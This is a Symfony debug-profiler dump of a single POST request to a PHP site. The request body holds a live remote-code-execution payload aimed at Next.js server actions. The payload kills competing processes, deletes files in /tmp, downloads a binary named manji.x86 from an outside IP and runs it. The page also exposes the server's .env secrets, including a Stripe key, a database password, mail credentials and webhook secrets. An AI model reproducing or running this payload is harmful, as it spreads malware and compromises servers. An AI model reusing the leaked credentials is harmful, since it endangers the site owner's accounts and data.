HomeController :: index
Request
GET Parameters
No GET parameters
POST Parameters
| Key | Value |
|---|---|
| 0 | ""$1"" |
| 1 | "{"status":"resolved_model","reason":0,"_response":"$5","value":"{\"then\":\"$4:map\",\"0\":{\"then\":\"$B3\"},\"length\":1}","then":"$2:then"}" |
| 2 | ""$@3"" |
| 3 | """" |
| 4 | "[]" |
| 5 | "{"_bundlerConfig":{},"_chunks":"$2:_response:_chunks","_formData":{"get":"$4:constructor:constructor"},"_prefix":"(function(){\n try {\n var res = process.mainModule.require(\"child_process\").execSync(\"cd /tmp; pkill -9 morte; kill xd.x86; pkill -9 locker; killall -9 morte 2\u003e/dev/null; killall -9 locker 2\u003e/dev/null; rm -rf /tmp/* 2\u003e/dev/null; busybox wget http://94.156.152.67:83/manji.x86 -O manji.x86 || /usr/bin/wget http://94.156.152.67:83/manji.x86 -O manji.x86 || /bin/wget http://94.156.152.67:83/manji.x86 -O manji.x86 || /sbin/wget http://94.156.152.67:83/manji.x86 -O manji.x86; chmod 777 manji.x86; ./manji.x86 nextjs\").toString();\n console.log(\"\\n[+] RCE RESULT:\\n\" + res);\n throw new Error(\"[+] RCE SUCCESS: \" + res);\n } catch(e) {\n console.log(e);\n throw e;\n }\n })()//"}" |
Uploaded Files
No files were uploaded
Request Attributes
| Key | Value |
|---|---|
| _controller | "App\Controller\public\HomeController::index" |
| _route | "app_home" |
| _route_params | [] |
| _stopwatch_token | "566871" |
Request Headers
| Header | Value |
|---|---|
| accept | "*/*" |
| accept-encoding | "gzip" |
| connection | "close" |
| content-length | "1567" |
| content-type | "multipart/form-data; boundary=----WebKitFormBoundaryReactCVE" |
| host | "69.62.111.122:80" |
| next-action | "x" |
| user-agent | "Mozilla/5.0" |
| x-php-ob-level | "1" |
Request Content
Request content not available (it was retrieved as a resource).
Response
Response Headers
| Header | Value |
|---|---|
| cache-control | "no-cache, private" |
| content-type | "text/html; charset=UTF-8" |
| date | "Sun, 19 Apr 2026 14:09:39 GMT" |
| x-debug-token | "e05dc0" |
Cookies
Request Cookies
No request cookies
Response Cookies
No response cookies
Session
Session Metadata
No session metadata
Session Attributes
No session attributes
Session Usage
0
Usages
Stateless check enabled
Session not used.
Flashes
Flashes
No flash messages were created.
Server Parameters
Server Parameters
Defined in .env
| Key | Value |
|---|---|
| APPLE_SHARED_SECRET | "8c0c47282ce445b884e69cb781e82d69" |
| APP_SECRET | "67d34c1b9887kl87d7g8kkfsj65754a69e25e96" |
| DATABASE_URL | "mysql://louqman_user:kjf@k8d:%,@DB@127.0.0.1:3306/louqman_dev" |
| ENABLE_DEBUG_LOG | "false" |
| GOOGLE_AUTH_JSON | "GPAuth.json" |
| GOOGLE_PLAY_PACKAGE_NAME | "com.louqman.dev" |
| GOOGLE_RECAPTCHA_SECRET | "6Le2gBQsAAAAAF4wrLe6XhJtmKtj_t9pPX3zP82X" |
| GOOGLE_WEBHOOK_SECRET | "mlojYXWWRA982hftvwjmlqteKJPAOqpalAYVGFsmpaTRQALN637232" |
| LOCK_DSN | "flock" |
| MAILER_DSN | "smtp://127f9b181d853d:d392b55825d0be@sandbox.smtp.mailtrap.io:587" |
| MAINTENANCE_MODE | "false" |
| REVENUECAT_WEBHOOK_SECRET | "NJKS8_87FG1_76GQML_jjhsd99_7726635_12KKSMNVW_ZZZ" |
| STRIPE_SECRET_KEY | "sk_test_51RCc6OP3miKSNMWttXFRwK2QAon6Ya5Xp0fUhW883OY6F4f5PquJsqcAs5cd3WKSLiRBrB1ndamwdnIdXWcMLpE600EGMMK8Nm" |
| STRIPE_WEBHOOK_SECRET | "whsec_bnkDbU8MxNfF3QoB6jsSEkfKq5HkdafH" |
Defined as regular env variables
| Key | Value |
|---|---|
| APP_DEBUG | "1" |
| APP_ENV | "dev" |
| CONTENT_LENGTH | "1567" |
| CONTENT_TYPE | "multipart/form-data; boundary=----WebKitFormBoundaryReactCVE" |
| CONTEXT_DOCUMENT_ROOT | "/var/www/html/louqman-dev/public" |
| CONTEXT_PREFIX | "" |
| DOCUMENT_ROOT | "/var/www/html/louqman-dev/public" |
| GATEWAY_INTERFACE | "CGI/1.1" |
| HTTP_ACCEPT | "*/*" |
| HTTP_ACCEPT_ENCODING | "gzip" |
| HTTP_CONNECTION | "close" |
| HTTP_HOST | "69.62.111.122:80" |
| HTTP_NEXT_ACTION | "x" |
| HTTP_USER_AGENT | "Mozilla/5.0" |
| PATH | "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/snap/bin" |
| PHP_SELF | "/index.php" |
| QUERY_STRING | "" |
| REDIRECT_APP_DEBUG | "1" |
| REDIRECT_APP_ENV | "dev" |
| REDIRECT_SCRIPT_URI | "http://69.62.111.122/" |
| REDIRECT_SCRIPT_URL | "/" |
| REDIRECT_STATUS | "200" |
| REDIRECT_URL | "/" |
| REMOTE_ADDR | "91.224.92.177" |
| REMOTE_PORT | "54580" |
| REQUEST_METHOD | "POST" |
| REQUEST_SCHEME | "http" |
| REQUEST_TIME | 1776607779 |
| REQUEST_TIME_FLOAT | 1776607779.4227 |
| REQUEST_URI | "/" |
| SCRIPT_FILENAME | "/var/www/html/louqman-dev/public/index.php" |
| SCRIPT_NAME | "/index.php" |
| SCRIPT_URI | "http://69.62.111.122/" |
| SCRIPT_URL | "/" |
| SERVER_ADDR | "69.62.111.122" |
| SERVER_ADMIN | "[no address given]" |
| SERVER_NAME | "69.62.111.122" |
| SERVER_PORT | "80" |
| SERVER_PROTOCOL | "HTTP/1.1" |
| SERVER_SIGNATURE | "<address>Apache/2.4.58 (Ubuntu) Server at 69.62.111.122 Port 80</address>\n" |
| SERVER_SOFTWARE | "Apache/2.4.58 (Ubuntu)" |
| SYMFONY_DOTENV_PATH | "/var/www/html/louqman-dev/.env" |
| SYMFONY_DOTENV_VARS | "APP_SECRET,STRIPE_SECRET_KEY,STRIPE_WEBHOOK_SECRET,DATABASE_URL,MAILER_DSN,ENABLE_DEBUG_LOG,LOCK_DSN,GOOGLE_RECAPTCHA_SECRET,REVENUECAT_WEBHOOK_SECRET,GOOGLE_PLAY_PACKAGE_NAME,GOOGLE_WEBHOOK_SECRET,GOOGLE_AUTH_JSON,APPLE_SHARED_SECRET,MAINTENANCE_MODE" |